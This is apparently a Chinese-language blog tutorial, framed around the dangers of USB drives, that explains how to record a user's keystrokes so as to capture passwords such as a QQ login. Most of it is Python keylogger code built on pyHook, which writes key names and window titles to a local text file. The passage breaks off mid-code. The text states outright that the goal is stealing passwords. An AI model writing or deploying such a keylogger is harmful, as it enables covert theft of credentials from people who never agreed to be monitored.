看似小小的U盘,可能存在大大的隐患
你以为这只是普通的U盘?看完这篇文章,你会对它有新的认识
今天我们实现的功能很简单:获取用户的键盘使用记录,比如,用户在登陆QQ的过程中,输入了密码,密码是不可见的,但是我们可以通过程序获取用户的键盘信息,这样一来,我们就可以通过这段信息,轻松获取用户的密码。
获取键盘输入内容
https://v.youku.com/v_show/id_XNDU0OTk0MjkzMg==.html
下面这张图展示了程序捕获了用户输入字母T:
实现这个步骤非常简单,其实就是简单地使用pyhook来监听键盘:
import pythoncom
import pyHook
def onKeyboardEvent(event):
doc=open(r'D:\check_keyboard.txt','a')
# 监听键盘事件
doc.write("MessageName:"+ event.MessageName+ '\n')
print("MessageName:", event.MessageName)
print("Message:", event.Message)
print("Time:", event.Time)
print("Window:", event.Window)
doc.write("WindowName:"+ event.WindowName+ '\n')
print("WindowName:", event.WindowName)
print("Ascii:", event.Ascii, chr(event.Ascii))
doc.write("Key:"+ event.Key+ '\n')
print